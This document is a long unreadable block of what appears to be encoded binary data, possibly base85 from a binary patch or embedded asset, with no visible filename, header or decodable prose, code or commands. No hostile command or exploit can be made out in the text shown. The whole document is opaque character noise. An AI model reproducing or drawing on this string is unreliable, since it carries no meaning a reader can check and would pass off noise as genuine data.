zL8^s~$5ZZI%Ub&(>V9*@amnLuLNt-D?J4-~>4@&>s9v%Q4?yJ7zZk(1SKW2AEOyLL z61Vx*{hMrIVIkeq*3k9gdduO0!|{E;=TFy_muNG#O-F6VxxPnTr5rmG{C^x<_afE^ z4}N-@t_${jytFs>Kv@TNla4bK#k2p2emAz+xqtKyMN9^!S}ZJYCJnW$)gMl6y!NH_ zImz6w&afL-RaFhR+&A$b6a88L^lL;m)2^n&1Np84<$2@PX`k-Y@B2-j4u=S6B(xy| z!J*F_mjcGVe;;XSh?U!n(F>?svR9i_c{;ax`e!2fRI_rt_}Cjth|^ zkaxaoEfObR3H|Ow*U1ueE9Zq90N$t~rIurqZ_3HdzzWJ($~gXsLSmwxtA6`GcpG@P z4Se_MIxlm5kG)MNk5Ca_c2?FJDtITP;l*STH6faO&_u%pI%4@?|29zA4|)Z=|5zj` z`<4Izcmbb$VTk? zh{#mD!V@e(-V5B7ZKp6pwJvH8s+5{|UG)f3#sWMJ$FIJ38`PR6hWVVv7*mF&EVb>G z&8wX8*$N=)l*$=m&c(*+A^22v+edg{4!mtCRH>`%p{Raz&79 z%lcUmVna+F(d3=mQN7<*O{e`1iHxg8?t{35g$>-+%-!4?Ht#S+%&L+Z!UtXug>8d5 zj7-UtO2#=NVSOB7EE;O-==4Hn5BKMJ?dR1iB?0hv+g9k8f-+Cf4rMv6bN7nxIqC!K zA4CJ6a*%%6dQOC?nfd^*7Sk8ZaO@#k$S1N678c-l@lw*f6_ z8+QqdYHY2_$sc7v*!N*HG-(VCORqkV7Ms53)%jM~C|F;BcXrd?zkhk!;@>lPGBJP% zKIBsS=J`v%b@hgW?3YHgokz>ADO0D)(r~!M*R(-hC0@n^lKH555gY{$GBAb6OJ12p zq@dq~FnK~LIlG4Y-dSNH!$?}s?Y5}rns*7gE8ED~0oD5bV0DMb%K#0TWldj852mpO z-lp1Dl7!iHa0Qu3@1q!Z{&X?as?jE|sVBt+0vc&rVp-3`ioG@M#?BAZw40kEgP>Z% zdB#{>;Sp&wI8l)w9(6c4OtBLv|NLR{y~E;bQ%c~+QbZ5gw3c~qsn@nG@R?tB>W!c` zUQ9bF2M%{_lf^zOFFGq=%Ugb(=knm9s-6^xY2mGxJToS*m*>CG*0Oq*^L4w@_#`CF z|2V=)by6kAPov%4o0?kO<6^h2(8`CjG<{@b1cl0Oi=M?4+)P}q3p=0m{(SK5Ij(GX z7iP@PsMajL;Joj1(~ETwX?)tyZAi%KB-X|WDq9D0UQ8`gJ3#G_mt+p%Mhe-@pQ6wK(%o+ z;$M9P9?V#U$&aM93d}9M{4AfLP-#H$eqPtVdpFM3-R6}RMn$`){tl(EhAg4#kHBZXCpQ}bgQozq>!5>AWtT+0(Ce^zO0YoI&i7@G~kh-OGh!hk*C^fRt zJOf;N@S=$xU6^Xcrz;!KOvx~RhH z$}EKN3xTLv%ZBN7$;dKl1QGTZ;Gv@QeDzf%2t&#`p)Upi0?l@Q!JXI-fxj^JU$WRWyev$OX0|`Owxe&9 zG~|_qo_y`_%!k{#UhUp^L4F8WSzSvwPwo!$tk-zumeR=E;TM2D8ia-YWBvFElF;W} zTJ0J^Bl;Tp_HTBuwRFo1SA2yaD8X0hIe-!gTX8yl90^P-`ZG7$xIIzbyklKcmY@Tr zanp>H^mnazU#YhabqfNf|H5IgjG8!NdT^W6Wk^ikzqwNJ>%puVQNI&2^BK8HZoc}r zzrLq2$imC7FI-dW1~LXe zt2QvGTTwN1(@_{*TwI|+&!gH|U}Ou=&5+kpMRRpTmKabAFt#Q=Eb$8(1Ngl>Ys@$l zTBZ3FOIv{5ZXVs2Awj7D}aV^46s?G z5u=y-G8%K5UpanYlSa*iz9{7M`&K*@NAvUi*FzA917_)Zf3p11yZ{7*RP2pJwTdS( z?fvE7pSU6VpQhZ4xfyoI31)X$G*f02ZC?}IKBLwsZU{cr zq(Otv8b2~%-jI@NWy@EJmR~A=Ejuea)8(C@@~o?2X!z@OCqY9yWYtPw{t5*7-&R;f z%%*`w;zS$mx2Ms4HSz;Z0bg7{$k8LJxKkZyTME5iMH>}0!uZ8_q-EfE=SG2H!_Bqf z*dcLGk)c6&kpvz@47I)CO@`iN8X6!CTs8;>zI2#{nbwPBG`odUak4C{a#pSN%Layu zPi905cehwXtP?Xz`u;OXd9IIb>hA>VON{qFu5w+lmo>qXCsdwYUU7;ZkMx|}oA~`} zQ|~-M0p<`{h)3gD<0lztqUGt__i5(5bBNi&R$Ewg;bz$yQgG@pbMHUB;vLu<1L@Tm z3rg_k{NVqhU2LUbM}uKTp}mxP)Rf4`TF;=VY{v|Guq-T3p1cavCP0TOXl^z6sFO7T z;bB10CtyD41sW`kDpHDw!W=gVM>+$97Ao5))4SX8Ar=$J(B=4J`Squ3vJ(9^*X?&L z>(xy|XoqDv4K%9Oy{zn^0IPCm(mzJs2troeC z+Q~WpejZ0Bd=a1bFqdJh`Jbf{3z;Pc>BTvSIiCb=6g3WP9l?isqi_no(F% zT6hnJ1WB`06V+Zel93^?aRfB^R_vd-%sG#^tZ96rFFq8D(a?7vm_C|1Ihp#UpiypV z04#Fs{)hEzb^38I*65SGoY;ETpTF#Oxh+=fkLME|K?4N%cyxQ^%r4nGid_qw=lma&zGiLj4v+UZ*Hon76u|2dnOzbh%V{+M|BX&QK5JVp2to!n|JzGqTrEs#btX(!<^T$Flpn zqYMKZ&8B^aa8k)M{Hgas{i`@9i~tX>%Amn=ZMiNsOTcNV-r{gsC&iXg0sWe^TURDp z#4-R)elR|J@6rS11FR^8@lNyu3fJ>yAt0oakgwl83%T4B+vIiQ!l-QU>W9$FM{Bk{ zzP!j+UC$S{6lW%+=6!vvN`_>~D#uN=ioRAvYQbQ=(6Fgf54a2&G(-!NNx4wtPJBL- zDS9TdH!>f9^Frtq3E28QoJGJ_TH<*|KEg`+?Do1XNi=0ZaWtqV&*tB!r$vA@F!g^C{ngpwE!8Z19i?on(6J zJBr5eJ$>y<2O(Rpu?#mO1B(W1okZYUsjqu%?g`UK5_BIE5)iyHYW7=euVWT7+h0Ja zQ_#{@>%LyU7N49o^o&p;G7YG$Hx~{&Gr3pw@okZ9Mj3f+euQOyr}qPFoUfvJw)-mmE|lU!6K3(ETw9V7!HptuF+-sc88c~3?7`vP-z^R>@!&3<|3?zG|NNHBNaR>}5Z-gT+9IGFWZS2z>}UOhoN z-2aViyBKgjL0|y9dy9>pKY3H|-S%9MRWViN0X~e0^Kn->PynO*TS6Hdtpy4h2$1Ll zky#e`!1!Fzv0h>sFbGa2vU!o zTBqu3i_`A#O#mP!WIUXXqi+3Tv)?6~3va*a7M0ZDy_45+8MQ-jMW`(;2@0vzI`x~p z_8)Q~lNmHiApZGYTnwdBoI{w3RcoQXGYD1f;+ zx$YlPoxR&pbN=ab9-Hf-_^-LP&L)}*)tK@UAMce>lP#)%?&e}^Yjy5aEY5$O90So* zy2hspo^~0zex1b_wzz`C4P#+}^;tSv`q)2Ma;WTz5=uJfyMq@pZLQSaM@0Iq2j0HP z3;2df?zq}mS6W(1rrXtf?Y~agMU3F*i1ucFJ4RRj?9QJEY6fgQI1DsieV_U`i-MfR zWATG~ps+DHJ@hYi1scHDnY(tk*O_RsH8^z!G?vHvfF+#<|3g(^^P{lEMZ`YEb{L$ z6vf~9JV{Pb7PQS7=PhSMu?r!98}Q|ecH^?p0@n1KJoa z81PFZOAy1@eXZ?T*l4DOO@2&4Bsc}FahRbu3@V)(Pc7DH(@%nh717EPr%siK22O8l zX^~XT1cb?8k~hzb`B|HE{X8cUb3R(YJ#Gus`+=By`1$q>f4^nUHs$eKuw@6O?2odw zi2*j`bS_otNc;4q;r>ht+IQPSYeXbhl{Px3{SG#ucG1K9)iVJD>Xs4%3SiXm$G7r% zlupBX4`;=SqG#-vr0lxdY#Z1XNZG6BCx!A7`bEzeK!Wd{y7&%#D*tmh%n7q!ISQMw z>>4)>iNGW09LfzW(a{WnO@|6{|Ag=E=2Y0l@Dfs*VxC|&W)+NaO zpHM!44NM#p6vw26A*1j-I4B=F67BW-hJNxK>scCpES}w=p*cj8D8g`0i4kPmrJw*% zT>bofc9TSYlTX6#oMcT&sMX%D<5iNhgLt?0bh8Gl4 zmQb__34RU&XCm6Fgvqtpy2Kx3a>*h$^}n9csN-=`(HtJrEX3u-$k=qOrDtX2D9#?N zp1;~Xq%!QVeEsWL^*))mE@TigsGn6_&OOK@Z*$Q43ZQRy&Ows;-Z*XU`ZZ@21pq!Q z^_j~^vA}u*T|`8`*?xX&ZtKi~U9Eplf1H=I`=;CX_oF-OmT>s13P(}HM_vKrM3xyNa_XA2PMYFr_ULut0U8tqVL*@CYon2l{e z%c7Uv3I_;{HJ`)=I6uP1Ezsp`c{JjPfZRYfdTA-JrT#EYidI+=0Fyy*FCpsnt6y+` zQ}+QSXR$Y1u6unMmlWAxKVT#{m zQ7S0l%H3p>K@8VRq1mYx8-gw6JK{F!3+N&gaAf#k`%9G>?xj)Yj@p86wJ~PJIx6T7hQF?7-dhi5O76{zRl#0FnrR z0mrVlc!4H^S|+6?>c$+x6$ve1l9kDwQ7Hpz<}1{fmt%)(VB3m!`4?%=#1(PjCxPv5T$!ZXhNsya9SG#oKXJ_2-RU4-ewvT`7iyEQ~m~magKQWqA0Ubnm*g63A-9 zwpcmiR+NO}3R7T{m#BNeEW|2ADQQ#4Ta&_kMrb}WJtIrK$5KpAQVT}6em6u8*HW^<2ZbcM zN_0Q20E{a*$#c+(BXMbtb%H6TsCi=Q_%fvYXp08yhQEy+(-4VFn zFPrz#%i3nIJA6mXcM{snmh-uh?G^;$gq1 zz-aQB9Od7Cb{B!I)3K&B6P65v6<-`&$RrFIq(T9J`lfAxbW+9Tm*M*5H=%i{2LCS? zKelZ|e*R zIO4Dy|NHejU~NElVrV49<+SgG+bpli?J`nrB;sS_TmrQ;0a8Z7BBAL4H z){9&KTq^_H?xEX!%lr7|$j`zbt z86OB2*AP=F2*N78%@!YgRwd3WIIp(St%rT@!(WxjSAnz(e~DxMc2d;tT(?x~QBr$Gwtg3eb?d z@e2KYuT1`PYr#Qq+uOxfclAG_N4Y=onY1bnLw|-fTSG|ERx$4bIL`! z7`w@pI&Gl&Ij?MDB(YW&K6SP4D#jlK-h9hyagyX`Kl+aVV>GuxH$&)>+a(t^h&l0F(w_3VDAAAr zh|GXo<3E-*%@A>h*ha2=W&gILk`EbSRl`7{m&1TmBBeElS}33lL&xTr9XigTfI$`< z?iK`dhT9>D(c4js7XMB|qkr}G0th?Li>0*lyMkf0n zX9dYiq-&SE!@1|}{qsB*)k)TCefO_Lf4>rI23@v(RXNrZ!l4fnV`ByR)>kQU4CSKT z4YX1PhzJN{q0w~Ozxl>C%kC|%cYcY9Rzz4=a8<`oN zkK1VtvtGnmWI5U$X2F;|k1VSVpK)yZnY6MREd?uvpxYhJ?LU}NyjoL~`fmIZ!Sb#n z;I&hi;d6LuXy`VH8qO!&8lTUtH@kEhe0SGJ)cz<`67XDq871`jcUnbr2jdLM{@jau zMNpYR`3uVE{HA7ZK^l=@7JzASXT8GWh#p3(b~X?gh6YJaGnIL#s{q7?1K~Ck7+Mus z!~p$QRU`Jf3crP`i7Um`g#(f;6;ru*sTP#5mCbM_KZ;L!QkQDgw5J#%meVY3R&D8F z&bg#`fZ_Kzp?KcOK|w@=iU-2g7NC9+5E|S1wQLcWK$Hlrf$kK3-_&&mH^>$hA)=u9 zLAzS&_HJur@{WPYdhg=mV6iBxQHx`aQ0IF2RkcCG!u1+Sef7GN-(yb>F}Mbuc&dcPpTO7(g;@n zp2u7tZUZZp0_fYOMDO1!W=>3~MgvgYvVX(Us5Ma+3HGj8ZPi)Db;rIO&C~W?-N$;; z<~T#svSu@4hx)ce!lUyt@6WdjD{uccnQzJ$l>Jz^saDTV-qiNL&geOzM!KZ!7QH z89jYk!T~Qs;vuBwzsfTkamrr6C?o#M-*wWJh z*+2fzNWGaz#OjOdE+HZV6mM!UW6Nj+$!Ozb0_fRZ4Y7fs>gL68)~0dk@NqBUpxE#zj7$ z6nuQQ{IS3z3q`IlxIe&&8W?~?<~R%%KpeDz54h-q>9C1JipAvukeHyLjWNXx4rb64 z#cW&wj5GfrkkP%9C}9!8!6(jdbB33G4ihv$izBepne?oXYW4WB7(ZKi7Akai@bd0j z;@8~m0>W_HSAwIyJ4CkooLMnKBF-%qcY`Rnru(*HZ)xdG_s##z6;3J_5%E`251LQ2 zRi!PSU;hjOG}>9BzSIIz6K!aQu!BOr@{4Y^eFaVIP=+inaeP<+1ObG(=wEO_^@&)! z(qu4RqVa}6Q?*v11!3t?sA-XyslIQUivDhxWd+KoVRn#p$%fd-DUmYewK&5BBB&h@ zmtye>sDhS!QoE=OTyCc5_jMdFEO?c5xP68K5RNL_O(lCTA}u_6`c}}f$)Ly(p{7d9 zuZsb7Y_ZJ5C$0+PmyHA95pdL?($nsXI{&7b{7kotuQKEp;wy?Aow7i@%O=Q$K*+rg zw05HMp5JY=_qdMg{runY{ho*=JyXpbmQQLUA4ZxeeV{V*0vCo01c#K>x5$QJ@@XbA zD#d^etgEFUe}%Y~`V6&-deM^KuP6jDRADxP0Q6sQBcw3g7!^!$>w@qA)=SYZU5ywF zGUeko6BoRVt+&4`Dzh^V<}Y>*Hx^POPsLh@7tlB_LU2UXcCiSA@*|~K;q;C6n^id_ zQDBe8W|lq~!?tcCNcc#MM`bV!)hYFgX7bWV^EIHN$+mLIw9dZ%#WTXjEH^U*ZN$87 z@o!Pb=cTXvUzA>bW+~=!{9Zy~)Kgdb9L-r+9NQ1p_wpxHj8*EsyL_XQaX9Kv=F(~5 ziszA76Z`*kyx1HY{p$h&6-RUk?&~5<()U(*RaJ#xbN~_V4@up}Miq_BA56S@_q{y4 z{ZaNZ96+BimG5|;t>K>|F*!6`-&?f81>g+Q`4kj@w{S*lDbN&;QPS(&A)9K23_h30 zw|b?Ta<6PBZDd&i`eU-WF_BcaWZy6S)^Rhkp;ca6FARxT(kj4;?A*E}^Ib|55eB&= z8VTf@)B`SP8iwalFiB9KrJGs;QvySjed_0UI$_s)XU(k#|IjAGwR5p4M|PW6CIQho zEY0>yuGcvotAqu_{3$h#l6Y7mqB|BGft|GEiVE~xc3 zL!oxDJj}y;4@mI)58qr@-;q^!qQN5-(o5?qL3kKyaE!Nu!#o$k04j{_FJCCkFiZjc zA#%NJnq-(n=_#_rK$#c4ks+vsV}{|5)6^+aM|rq5D+!m6EF(OKt>X3@4G;NLR}P0i z(wOW|;Wm1Rt?wW1NeyWl{?m_M1^@>XiA%8y|9joZdz>1B9?F8K=ZH#*0CF^#B3%-k z9etKB`&#EYRGv3c{TNhPwf1r>Hr_Xq5E(7_%|J>`Q=hYb5`L*?IJMlSq8`t7&BX+8Mg@wP=BZ(X)|r6wkrtR_YoTNio|Gn)+= z0Qik3#Ww=iK%o>Dj8R4^=xXZD&jJI8N;&|8?3=Wfx%A<17#v?F1O>y~WN`aH!a%bf zCACz|MK0V1VBMgl_j6e=c{oJQS0d(;TK(=7cWZT$1tsi{cQ612p!;pRe(rnc(qa6< zP%DmCsEY*SzF&GC0UL9(vrjB3wvPJ|^Ji7Na!I3?MH1T1tLo~Ct$4G{0J0Q4t%JH^?l@wlDk#&gIQ{NrHn&`NnPOY~){OGDws83z#QSq# zep>#RJXNfsRPJikf3h3>nc95jf1%YjUu{@$ts#QmG?NiFzJN#YQZKGAoXy(%TXEdL zD|BcA2u(>CEtr9W^Gl|dE)b1f>BKkVC zKhA^^3aMS#@-ES=;~!jxf-n~KMaB7DZia)$Kd=Bo%5r?VYA)V6Ad$-9hx4Wx+E9dR#?cCCTA5{6#h=5q|h@{Qm zivNBSVw{@my)_Gj&mH{d*YZ?QDu9Z42W^go2ttYsM1=Sbkhfp7S*ey4nTWiNSCwTV zF+OzTFoQz86L6hVsn&6UHa~0i^ha}Ec1;_KQ8 z-$TZ=7Nr*r1;V}<6h=}b8H;CyT*Z(s@51#dW^?UsyK9<`s3^+9%zix+zs&s>Y$jRt z91xmFPDxMNHXkRAF?9Od!|wf=bs;z7IG%LSvWtQ!h=Q@swX3ad&-F{r5?bWG_hoKH zlYk!SSz>ToYFVxRyFnhY74OW`>FQCkBxIORaOHdTzSAj3IKtlOH1pfYjWfR z*)XjELEzw}`l!vVC#&Nhg)c{{&nAvnm|;g3fBb}XELBI@=JPX)5|xJgq=`d&vCOl) zYq zJJ}DHbf@)7Zxm&tAk7PR4+-ohf4aasa@n5h2mV)&5?gWxvpyobmo(2~hc>5Mb5-^& zMG(w&inEY+xo;9{xq4RVE-KZmJS;u9c=aF_8Rglp4dmh(GD{pwE|>p?+7qwL*;Br%U?k+qhGu+9 z|9k3%YZ@IJ`VbJ<=fgwWpYWa_r=q+xG1{23m`|`_YDKc6xozh7GAntso&?oDt*Pk1 zID#u-ytb_=;PE~qHumzs))Q`{tFxxoVgwn8MXr0DO@Atxai&0%;71cYCbiNudKV@7xvKl&f>^}YWjP~Hwfryu>iDsC9QFgK$2~wT8ie&O zM7>`Th{p@VLwxZJ0%&4r%*alC*6276KkUY5X`E1Zwon)5k4-Y;DX&!9P{q*D)j2z~ zeeNB{x{x$|FkYo&0p_q^EZun<)@O~K9}dG%*F5|2<1&VQX920#U}7i>m=eh`1}gyw z1GXmP^CbG1U(yU8{JURz!yHGKp&}4Z>-&KxrzCk{VIh?~tu*P+1bOETZX4M0YTI*- zzdEZj*LU{!Dzzeda&fx>D#K9q>CjW+YL|rFj_O+S?Bs6|?ZAljW#94Rw=6Bo{N7U7 z#U#+i$j)v^J^My_u2tw^qsG3fy&Jv$Xi6C^UeDqz%wSj?-#V5-UDve%= zrl=o)AgI)fjo@G?@2@7-k0SGo8Cr@wV#|{*^%0BW#}gjVNY>He=Z-MN5N96!p`SXxFzBPE zDo#^V^DbNE)1M3k7;C)B7GE&YPl#rEIsl{DgEDuhaAR+F=#x?Zh}ZqiX1pW5{F*Vj zY+`jv6v@p`8-RJ7UcisOwG+x|zh_8ZqG~;M` zli|OsrkuU_0k({sp-i@8ioPn<0z+~s^3EB>i=}6^0({DFiR|R@hI+X zMcy+W42@`I1$@Ukpdk|>tTfWY3T|4Ugk(7)h zVSc+x@|I?SaU~e)k%z)k^=!b+>b{eh|LxXCx#jd^G+|Cn=7ptn?i3Mz(qAIJHRX2sV zF?NbzJm-8sngrfFJ`1?oc{0!1dZ=PjwG=zQ*`V<3`-T$K zMxfHGO=+R$amz&}W;!g&X!}`IHp}BzR-;Fscd+7&YgP>REuC6^ zY6BD;2n6Edc1=WeY>Lv|H>_kfy&&0NjP}~sjX_FB7vkW&b!JIidg&#yl!+JWJDqCj zC>X`ydF&zbaScL`_lL}gG`P7kr-)M2qRtmdOPK1arh0JgBfO)Hyk7I1{KifoalEi& z;xaJ5ZL(T)Qo&wR^{J9Y6lv_1gQ?o`D%5)Q)vM2Pdn2#N{cJUMm!8&oo(Kb3XDv~ddT}FWa=YUB%jg-U z*RKE{+t=jUZ2nqm?TDr9e7k?Il9cUMJ4HACS?&dIX;`)?#Kt|19Oz1^_!iL+Q7SlYM}muj)$Ul4uQOstbs>+VO^V+>pF#laa*n5hW#7g&wqxc zq-!yfLmgZ2EcptL*E<3)S6QW8r^o5ru0^^A2DTqfnUIAT-+h+nl2YbVnE0J(JO5_B zp6oi+skx01?D=>7C@uJVVQ0;KYh&n7+BN3{WJu!vn`iffIzgU9(tAhOTs7vHjhS;2{M_ta?TuOkMI85(|D!Ox6Oqifn6*B^%_vwK>bZR@}|eu-AI#cCSw-U?q& zTz4Mxs1*F~d~#x;F3Ao&?u5N_cn}~=Bh_?BY0{pMDl@Jd@7lKlMPaMNh6c9?K)Qm% z{zN|Uwkz!Q*Ay`+=(hE?1)N7n1>~G0N`o;ln2@-dpr}PDticqTqy=Fh%SAnhFzgnZ z?rKbh7@pm07%Jsns9RcHweRQmOp&$tYOm$)^w+1c*+YW8c+nlFGNe7{uU1cCM4?ZK zqyp z*!j=!?M&ok@deC3c11tt1RftZiKZ!rl#WmF>s-Jk)?)yvu|q^NmtXGR?s;CXfal@84iHdKpliX$B*%}dV;7~L&F`-nGXO5S=ipmH#?lDQtDXBK%2ZEUF zGH?4v_m&>**Hm5^i?s-^DqVgbC7@(VN>JV$DMM0?|M=lxUnSY!;e6QisiY9Upw1GF%Lr;lTlPEx6+fSY_mhwCYl?$#|v~{#InPXFuH1|FHUvb8gENd0Q zIQ_F=5RuzHRzi~e$lZff>57|}P67+~NYNmme7!fBzV&USqq{{5G=s%TuB1K&|4VU| zKu#tr19mRW(rSHT2P2`*bh$|Ak*S%bS(_+DS=B^UwhqnyT;oTs55wFG-pOFn#l5Q# z(r_C`$7T*t8Q1>!c*)!p9Ba~f5(AD){~faOxj=MPyyLwV4Rg{6k+4WkqbY|7Y0$LS z;r(*P^nwqW)t@v%W48y=XVt=911Wk3J!ijkCh7h8ayoxakOw+)7BOSfAD9@csAkR; ziU78mJCXd^xcv+u9&k;s;MUM)tUKx$RRt9)GxzL`mCNuR&tO@!-*UItaNXQcCE9LoG2u&IJQz3Ik0+v%I#s6wwten$G_H>T03ZNKL_t(iC`Nf|Bv9rY zky2EYt5NFD_BKYFIiy&0>QJ^Rya>{j+quL%x8d6T4`iOe`ADm9Mru8(%I;S+;+<54L`&Z7b zgz$_K+Ap~Mwv(q$M2~e{k0+D0$)rglIX6F76@|mIGKq0L`p7399Ly|Td+_RMY+Csn zdE1QHY;27d=9cBn+Q#t2nKRq6KcpasKJflOzqq=3Ii}DKJM6H-7mdrZM@UjBbvnIL z)|kdyTfN!E{>;K~Izs3`VPG8HLg?lu=A7-5^}V*OC!)K# z5!;0`Bn77h(L<&OS_UaOabVxUPSF_-*H^YSs&1E7jlcDkj-EDK30LTFNk zd$2GZPqG?UGGqgDLK-)d=`<+pIdI@3_ubc<8O+WuoIiWotk}C}|Ao`1-6KMnTUs7% zT%6X891KOUswhKUk08x2>`o~ur@F2Qb92ZI%I;0h1p@(yQvTU)!9_f*{(KxSrUPd4*i+D~o&5Q$*LV!u37r`-5t8aF4Cm~wj&8H%f~zV`7a z9`jayHRJ5@!;?I@^4jOV|Ni@BP?CgJ^=3RC)wK#MXZyWJjvar&^@lEkRfx(DEM}08-gnb!ZSQ%$PjGb{sW`o+HlfL)QIJQ-3LaS z8!5#YW9tZ^By`G91)G8%nPXXYn-n7ipg~STPASKFG#YtIsKWU(r_Joj16Ln8dN?)B zHP=6HeeGObj|uGAb8vHOWjdXjTvn7tH-u0(;gahf%m-a?z=C?{MliL9d`I)a=B8Y7D7&`*XtEUD9i37PPfKe z3yZtTP{>hFCl*s~#YO=TlBV@^JRVP{)A3|Ht%tFm#Acdf^puofvJiq9A!Mla<87;E zOoR*DZoG^+JKzo=@7c9H8I8u{aqY>yoSR!zVIH>k$=tmN$jS~-3^}@xQz~gG!(5(n zjxp5}xqDFK4TS>-uH3k=a`TP1U%YT;yfvKPy|+_^l?xZF>K(fN);sTfQC;V8QzLY` z-9cGd6US{!V$(EdPo9{aUr4forO^ry*^?yC1zGjGO-@gG;nwvys@a$fk!zofSao+T zEPe0;@7uGu+$*bYS#`>?A}g{obS-y-N?K{wDZ`yN-*EoSnZ{F&X*!wEB;+=#j+5!^ z!tNVyyoG{$2H+|F@!Q{i_T-Uo{kz{W81yb}0YdJJi_7DUwe^ja^`w{Hb`zvjH}z=?67?4Hd)d#L# znVXNp%~PjO?z`g9b8o)s-uM4$Z)y3?+h1_xp@(|C%HwpdKT{Ola?o!^o1U?-Fu$4_ zS<%G!;Sb$gbc)$-uUnSm@wiO}Q^;~sv)%r5G7)HsGD|62C=w%rU3uVY7(-zmAPey9 z5N+Flu@&0s_Bzw)XmdTSoH|uU_n7OZZgQ5~$+pHOi?f6N{{72Gk3P1su|*0}JsrRO zP5=Gk#g%XPnpeHyjsK0XHmf{8KZjl!8E(Ag&OY*JbGUx-!n@z`&R_VI*Q{-9T#m`J z!wx&_@I~hG^brz)R@c)c?}TDH8TM!9miO)5T-}&VMi*DlpE>yiA(EamjgYrK^^k)K zR>>7YDF}rX78nSa0f9_VD2ghSggaOWLMCZ+Q;14}6`eA8+Ov20{JGQgZEYHY&15*; z%1g`pFKnDMdCr#Ly-pF#+;hq~uVpl?*qBu@uP>$xwLGVlgc$XVH7L=Ot?Cd;&05>WV1n3B)bqb_38je@iH%Q%j z*UQeGIs*6RQnhM9Gtwn@H|5b}xH%oa^hGau(>vZq_dv@zk4D22Cr*ClKltALcfaGz z#zyOnJRXkgX|s3tUN@b8l)M#77k#mkIC(oYJ z!s4#cXu7&~_Vn>5P8@zXHcfU_&FkGa`yn3GI-b^YQfPEt;S1wo9Nsa=KY*wk^_H0~)j zDW#OWwXr~3dYTQQLDbT&h4;PtUDN4!X?`v@qmO^={#|>oICAFn(G$mJm-jvJ@sBmB zIe6m@CyqRhA`IqcENE_SrYy@4La?IS=`w^A)7JXNbTU!O%-)Kh%9R`wd8gYET7ftB z?9=HqHgV;`xeMn`dTyG!PAN&Ks;X0jW;(riacyllmNPYV)5M#vziMq|Bj)5eyJSYW zU-B_#Qr;SE&i8t!&z`1dIG!wxIePfv$4;KO>Dp@{I3S`bOE<>x=mjsl>zn?;_x!Ql((($C~jZE4P_I03oztp4#3x zm&0W&h+v_JF@~~`h?LC?l5f|86qKT}C^EPKkO>)X6mp`6-Fx?+JAYns$-pSkoi24d z8cm0mReO{X3jM0*?kT0z#2mB9YmWs=F*sb1Ns{GDA~YX-*WHJY9ge_wGI{Lr!=rk- zjCA^uj}J$q@rAQ_TxS$#9{kvNJY6nq_2Pw?{rtHV_bjljd$p=$?e4DJ*31%SW(IdN zcvcGRc6-x$;@R8eXH(aJg4ycDl|6fwgLOvZ@#=6$s0~}|rk>=G;I#h6iQ_Rv_ndQ< zdn<{Sa(=SP^zla?$&KjfbUIBF%?yB~9Gk~J_Rt-7z4*`W|5$>Xg`~!4y=t&DI~a|} zmuI%@u)_{J{8e&!_6Ust+gzM-Ufy@b;}3uQ{J9e;Mz}lN$Pj`tfPxI%ZjFFiUqYi< zc636>?m-1DnCQ%MA#Cr8HFR*>(3gauw*3w6Wz|{V8s!`bNrgcGoup*R>Tw-C5i~cL zmHl4R#CkIHoU$vE4jMhcGlR1N7*lpPGY6(kBMZ}b zadFq4&CSh}8pxC9x@mG&Q3O(O-SWa0ojiHW^LBftBoZR1?JkQTj>qHUr%nvIRf^j! z{~-j)C2p)=y#Cg|b@dfj96o&_SP@uNq4)LQ`CUuhVkZ#XVTT>QB)MG5GTFV3P2Du+ z`S7EkICu6$jJ4o`2%3f2+4)YVPZC7y*A5rARkaCb&}F57wv@lEEF}n-%K@}9W?=g+ z5CzRd=1|SgE=|Up);c@LgJ5V=fGM(RChP8^Sy6J(?UY41nU3ma8dIW4QfPfAgjU$p z(H6J5+#^!sDaBM0HFJ!Ovco;c9L(Z$8sKzyIE?O!DS1lGq>fF5vgepR(H&q}RWt)B z&|RL9v*Zen0>&)H%pzC_E*U^6O(wJb{%CWpsV9@^cs!kqM`O8H!QdX?EUFjXar1aM zj&0&u%7hz1`u3vO+E-{Y9WN{_v{EwezWog1J{)cyKY8l5+i$C^C^{V=omx5b*IsMch0geRGXfT?Yl&Q9~29nEYR+z~VJvl?QHQJI-3zQ-SrPc#i0+nMDJQIVm zKR2^bPbYG3>QU3gw#h*bqbLM2$qk4g2)S}}7POoJDCg2>SuQChnptZQC0gqx3|h$T z24kHX(yc531r|9)(HSfh<}m|sN%ZUrWGg+_F8oN@LTKw|2)g_F=9aS8F~Mj>D2gB{ ztmrPC8eCI z5FUQ$qbp~R4L3HP6t@gT5Fx17>!q~aHQ^2@3zATEdcEGjm81*@1ZNvD%0ULxB?(cO zp-ueJf)(X>4jpPd^|)*y?ND_>G51>Ggf%1uVE>h9Zru$U`1no$#{svBMkcL*gZ zK@towF~EbI5X=?Ru&LV>JEm0U1h(OCtaGemGmTBkn$-1hH1(KG7W%W--FW?TuD_u- zGgtLyC^Ivsn6oGgfgnhiGFowQ0Bzt*mr{(Kssi8+IwzAU3oFXPJ*h2pbstR{_gnX5UX<|1^^EPj{S8qXYXE7Voj*&q8@`C?2rl z{=l2SZ=n4M`BK6@+lOi|{%1XN@ky`W1$!0kf2F+?sGfe1PbYf+Sx@~;D1aMj-)Z*4 zBY1e~x%`;Mhm4$Ln9)r_b5mLzAJ5@I~DK*pN zs>-f%s-ufW&w#a^6@+C-+Zrx;d1)C|Y;6tc#rnodlGDAl*^|5t>oN>d`z=C92n3b0 zi)C5F7zHHH<`7|_5JS!$A@=~H-<#>q4m!PlRd70qv2Kb`RGn%tyEJJ=ZQ+e1Gc%#J zs-Kw|lttn0Sq?L*HL+LDxzp*yCS?Hb<0h6>zbuOwQyo(Xp;K6n(aO%Zebe80_`&;g zO0CwmB)P}7_%yrcEGYytK-se}x3IYTz`kQgk4my2kSXR9Cy&Qe!>p`2WmUc4ju&>z z;t${arpqx^zH|^cL%S0=4*zZ79QZel*HM2c0N4%QLf%4NO9o&BB!J-U;5FnPa2I$x zxdaTMcY#+C%fQ{@bI60_Ebw&CAsP0SL`l6y*a9wsi(o;2op2a92;N5CK`s&kM$m`B zK6!|ERCo?~C27DW@HrmY6VL@Z)N6%z>Zy@b;B&z{$eYMM(Et+wz#i}h+VhEP$pNqq zWZ*b(0lbs=h(Pihau;v`5YPv21aBh`k;{Yw81N<5I zTmZlrd=6Ov8))sku@}6Jyq(-b3YY+GXHt7p?j-k<3uFZxhaLi-4;%(I$g9W$L<5Y0 z3cT{thg~4*OCNSGcni6YTp({Euf6p8cKla^&mo5RJi(;{pMbwX+(Y!BcM4Bhj?RL& zfOn8rlLau@PBZWt@CNb)k(Hh~O%2sl72LmvY7l2?*5_&jm{9C$0YkH16)=n3F{ 